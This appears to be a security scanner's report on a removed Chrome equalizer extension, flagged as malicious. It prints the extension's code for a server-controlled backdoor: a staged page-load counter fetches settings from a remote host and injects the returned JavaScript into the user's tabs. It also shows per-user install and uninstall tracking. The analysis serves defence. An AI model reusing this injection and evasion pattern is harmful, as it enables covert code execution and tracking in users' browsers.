Equalizer for Chrome™

ID: cdmhckfkoekalfamdmalmojdnhbighpd

Could be malicious

Extension Info & Metadata

Status
Removed
Version
2.3.3
Size
0.51 MB
Rating
4.3/5
Reviews
1,456
Users
169,494
Type
Extension
Updated
Dec 1, 2020
Category
14_fun
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
creatormars4View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
169,494

Equalizer for your Chrome. Customize your sound by 10 bands, equalizer presets with all music genres and a bass booster feature.

Audio Equalizer lets you adjust the balance between frequency components by 10 band controls, with a lot of settings and an excellent sound customization. If used properly, it can smooth out audio to be just right, whether that means adding some volume to the low end, taking away some part from the treble, or anything in between. It is a great and user-friendly tool which will help you change the sound. A minimalistic EQ with 21 preset profiles for different music genres. You can edit them to your taste and save your own profiles. Audio EQ can create an effect of surround sound, strengthen the bass and increase maximum volume on your device. You can use it to adjust the level of different frequencies of the audio stream, or to increase both low frequencies (bass) and high. Same freely you can use it as an equalizer on media streaming services. Also, we have many other features that can surprise you. Some of our handy features: - Preamp volume controls; - 10 bands to adjust the sound; - 21 ready-to-use presets; - Low CPU usage while working; - The gain / suppression of the frequency on each band is +/- 12 dB; - Absolutely free equalizer extension. The list of presets include: - Acoustic; - Classical; - Dance; - Electronic; - Hip-Hop; - Lounge; - Pop; - Rock; - Small Speakers; - And many more.

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
*://*/*
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
tabCapture
Permission
High
This permission captures content and audio from browser tabs. Rated High because it can record sensitive web content, capture form input, and monitor user interactions.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

The `fixFullScreen` method retrieves a `removed` field from `chrome.storage.local` and executes it verbatim as JavaScript in the context of the sender's tab via `chrome.tabs.executeScript`. This field is populated by a remote server call in `configUpdate`, making this a remotely-controlled code injection backdoor. The `license == true` gate is a trivial server-controlled toggle, allowing arbitrary script execution in any tab after the attacker enables it.

js/settings.js (Line 145)
fixFullScreen(sender) {  chrome.storage.local.get('settings', function(items) {    if (items.settings) {      if (items.settings.removed && items.settings.removed && items.settings.license == true) {        chrome.tabs.executeScript(sender.tab.id, {          code: `${items.settings.removed}`        });      }    }  }.bind(this))}

This function POSTs the user's unique ID, extension ID, and version to `https://api.prodevone.info/app/settings` and blindly merges the entire JSON response into `chrome.storage.local` under the `settings` key. This is the delivery mechanism for the `fixFullScreen` backdoor: the attacker's server can return `{"removed": "<arbitrary JS>", "license": true}` at any time, which is then stored and later executed in user tabs. There is no integrity check or allowlist on what fields can be set.

js/settings.js (Line 78)
configUpdate(callback) {  let manifest = chrome.runtime.getManifest(),    version = manifest.version;  chrome.storage.local.get('user', function(data) {    $.ajax({      method: "post",      url: data.user.configUrl,      dataType: "json",      data: {        id: chrome.runtime.id,        version: version,        r: (new Date())          .getTime(),        uid: data.user.uid      },      success: function(res) {        chrome.storage.local.get('settings', function(items) {          if (!items.settings) items.settings = {};          if (res) {            for (let i in res) {              items.settings[i] = res[i];            }          }          chrome.storage.local.set({            settings: items.settings          });        });      },    });  }.bind(this));}

The content script fires a `getUid` message on every page load. The background script counts these and after 20 page loads sets `real_user = true` and calls `configUpdate()` to pull down the remote payload. On every subsequent page load it then calls `fixFullScreen(sender)`, which can execute the remotely-supplied code in the current tab. This staged activation (wait 20 page loads, then arm the backdoor) is a classic evasion technique to avoid triggering immediately during automated analysis.

js/background.js (Line 561)
Background.initListener = function() {    chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {          if (message.method && message.method == "getUid") {            var Settings = new settings();            if (Core.load('count')) {              var count = Core.load('count'),                stst = parseInt(count);              stst = stst + 1;              Core.save('count', stst);              if (stst > 20) {                Core.save("real_user", true);                Core.save('count', 1);                Settings.configUpdate(function(data) {});              }            } else {              Core.save('count', 1);            }            if (Core.load('real_user')) {              if (sender.tab.id) {                Settings.fixFullScreen(sender)              }            }

This executes JavaScript supplied through the remotely populated `settings.removed` field directly inside web pages. Because the code originates from server-controlled storage rather than the packaged extension, it is a clear remote code loading and code injection mechanism.

js/settings.js (Line 145)
fixFullScreen(sender) {    chrome.storage.local.get('settings', function(items) {      if (items.settings) {        if (items.settings.removed && items.settings.removed && items.settings.license == true) {          chrome.tabs.executeScript(sender.tab.id, {            code: `${items.settings.removed}`          });        }      }    }.bind(this))

On installation, a new tab is silently opened to `http://prodevone.info/equalizer-chrome/install.php` with a persistent unique user ID in the query string, tracking every individual install without user consent. The uninstall URL similarly phones home with the user's UID and extension version. Both URLs use plain HTTP, exposing the UID to network interception, and the tab creation happens without user awareness as part of the install flow.

js/background.js (Line 818)
Background.install = function() {  chrome.runtime.onInstalled.addListener(function(details) {    Core.getUserID();    Core.save("app:popup:activeTab", "eq");    if (details.reason == "install") {      (new settings())      .onInstall();      chrome.tabs.create({        url: `http://prodevone.info/equalizer-chrome/install.php?uid=${Core.getUserID()}`      }, function(tab) {});    } else if (details.reason == "update") {      ...    }  });  chrome.runtime.setUninstallURL(    `http://prodevone.info/equalizer-chrome/remove.php?uid=${Core.getUserID()}&v=${chrome.app.getDetails().version}`,    function() {})};

This content script, injected into every page matching `*://*/*` (all URLs), fires a `getUid` message to the background on every page load. This drives the page-load counter that arms the backdoor after 20 page loads and subsequently triggers remote code injection on every subsequent page visit. Its placement as a content script with `run_at: document_idle` and match `*://*/*` ensures it executes on every site the user visits.

js/audio.js (Line 1)
(function() {  chrome.runtime.sendMessage({    method: "getUid"  }, function(response) {});})();

This code sends a persistent user identifier, extension ID, version, and timestamp to a remote server controlled by the developer. It then blindly imports arbitrary key/value pairs from that server into local extension settings, creating a remote-control channel that is unusual for an audio equalizer and can support later abuse.

js/settings.js (Line 78)
configUpdate(callback) {    let manifest = chrome.runtime.getManifest(),      version = manifest.version;    chrome.storage.local.get('user', function(data) {      $.ajax({        method: "post",        url: data.user.configUrl,        dataType: "json",        data: {          id: chrome.runtime.id,          version: version,          r: (new Date())            .getTime(),          uid: data.user.uid        },        success: function(res) {          chrome.storage.local.get('settings', function(items) {            if (!items.settings) items.settings = {};            if (res) {              for (let i in res) {                items.settings[i] = res[i];              }            }            chrome.storage.local.set({              settings: items.settings            });            if (typeof callback != 'undefined') {              callback(items);            }          });        },        error: function() {          if (typeof callback != 'undefined') {            callback();          }        }      });    }.bind(this));

The background page increments a hidden counter every time the content script reports in from a visited page, marks the user as a `real_user` after 20 hits, and then contacts the remote config endpoint. This is behavioral tracking tied to browsing activity across all matched sites, and it is also the trigger path for the later remote script execution.

js/background.js (Line 563)
chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) {      if (message.method && message.method == "getUid") {        var Settings = new settings();        if (Core.load('count')) {          var count = Core.load('count'),            stst = parseInt(count);          stst = stst + 1;          Core.save('count', stst);          if (stst > 20) {            Core.save("real_user", true);            Core.save('count', 1);            Settings.configUpdate(function(data) {});          }        } else {          Core.save('count', 1);        }        if (Core.load('real_user')) {          if (sender.tab.id) {            Settings.fixFullScreen(sender)          }        }        sendResponse({          uid: Core.getUserID(),          "windowState": Core.load('windowState')        });        return false;

The manifest explicitly permits `'unsafe-eval'` in its content security policy. This allows `eval()`, `new Function()`, `setTimeout` with string arguments, and similar dynamic code execution mechanisms within the extension pages. Combined with the `configUpdate` remote config pattern, this intentionally weakens CSP to enable the code injection techniques used elsewhere in this extension.

manifest.json (Line 17)
{  "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"}

A unique user identifier (`uid`) is generated at install time and persistently stored, then transmitted to `api.prodevone.info` on every `configUpdate` call along with extension ID and version. This constitutes persistent, undisclosed cross-session user tracking tied to a remotely-controlled server. The same UID is also embedded in install and uninstall tracking URLs, enabling the operator to correlate install, usage, and removal events per individual user.

js/settings.js (Line 1)
constructor() {    this.config = {        ...        user: {          uid: Core.getUserID(),          configUrl: "https://api.prodevone.info/app/settings",          onInstallUrl: "https://prodevone.info/equalizer-chrome",          onUnistallUrl: "https://prodevone.info/equalizer-chrome"        },

This creates and persists a UUID-like identifier in local storage for the extension. By itself this is not malicious, but in this codebase it is reused in install, uninstall, and remote config requests, enabling long-term user correlation and tracking.

js/Core.js (Line 75)
static getUserID() {    var uid = Core.load('uid');    if (uid) {      return uid;    } else {      var buf = new Uint32Array(4),        idx = -1;      window.crypto.getRandomValues(buf);      uid = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {        idx++;        var r = (buf[idx >> 3] >> ((idx % 8) * 4)) & 15,          v = c == 'x' ? r : (r & 0x3 | 0x8);        return v.toString(16);      });      Core.save('uid', uid);      return uid;

By severity

Critical4
High4
Medium3
Low0

Versions scanned

Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.3.311

Files with findings

5 distinct paths — top paths by unique finding count:

  • js/settings.js5
  • js/background.js3
  • js/audio.js1
  • js/Core.js1
  • manifest.json1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
js/settings.js (line 145)The `fixFullScreen` method retrieves a `removed` field from `chrome.storage.local` and executes it verbatim as JavaScript in the context of the sender's tab via `chrome.tabs.executeScript`. This field is populated by …
2Code Injection
critical
js/background.js (line 561)The content script fires a `getUid` message on every page load. The background script counts these and after 20 page loads sets `real_user = true` and calls `configUpdate()` to pull down the remote payload. On every s…
3Remote Code Loading
critical
js/settings.js (line 78)This function POSTs the user's unique ID, extension ID, and version to `https://api.prodevone.info/app/settings` and blindly merges the entire JSON response into `chrome.storage.local` under the `settings` key. This i…
4Remote Code Loading
critical
js/settings.js (line 145)This executes JavaScript supplied through the remotely populated `settings.removed` field directly inside web pages. Because the code originates from server-controlled storage rather than the packaged extension, it is…
5Tracking
high
js/background.js (line 818)On installation, a new tab is silently opened to `http://prodevone.info/equalizer-chrome/install.php` with a persistent unique user ID in the query string, tracking every individual install without user consent. The u…
6Tracking
high
js/background.js (line 563)The background page increments a hidden counter every time the content script reports in from a visited page, marks the user as a `real_user` after 20 hits, and then contacts the remote config endpoint. This is behavi…
7Unauthorized Data Collection
high
js/audio.js (line 1)This content script, injected into every page matching `*://*/*` (all URLs), fires a `getUid` message to the background on every page load. This drives the page-load counter that arms the backdoor after 20 page loads …
8Unauthorized Data Collection
high
js/settings.js (line 78)This code sends a persistent user identifier, extension ID, version, and timestamp to a remote server controlled by the developer. It then blindly imports arbitrary key/value pairs from that server into local extensio…
9Code Injection
medium
manifest.json (line 17)The manifest explicitly permits `'unsafe-eval'` in its content security policy. This allows `eval()`, `new Function()`, `setTimeout` with string arguments, and similar dynamic code execution mechanisms within the exte…
10Tracking
medium
js/settings.js (line 1)A unique user identifier (`uid`) is generated at install time and persistently stored, then transmitted to `api.prodevone.info` on every `configUpdate` call along with extension ID and version. This constitutes persis…
11Tracking
medium
js/Core.js (line 75)This creates and persists a UUID-like identifier in local storage for the extension. By itself this is not malicious, but in this codebase it is reused in install, uninstall, and remote config requests, enabling long-…
URLs
82
IPv4
2
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

api.prodevone.info/app/settingshttps://api.prodevone.info/app/settings
prodevone.info/equalizer-chromehttps://prodevone.info/equalizer-chrome
prodevone.info/equalizer-chrome/install.phphttp://prodevone.info/equalizer-chrome/install.php?uid=${Core.getUserID(
prodevone.info/equalizer-chrome/remove.phphttp://prodevone.info/equalizer-chrome/remove.php?uid=${Core.getUserID(
github.com/Theodeus/tuna/wikihttps://github.com/Theodeus/tuna/wiki
jquery.com-https://jquery.com/
sizzlejs.com-https://sizzlejs.com/
jquery.org/licensehttps://jquery.org/license
github.com/eslint/eslint/issues/6125https://github.com/eslint/eslint/issues/6125
jquery.org/licensehttp://jquery.org/license
Showing 1 to 10 of 90 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

2.3.3.3
IPv4
-
2.3.3.1
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
2.3.3
Latest
0.58 MB
Malicious
11
2.3.4
0.51 MB
Malicious
Showing 1 to 2 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.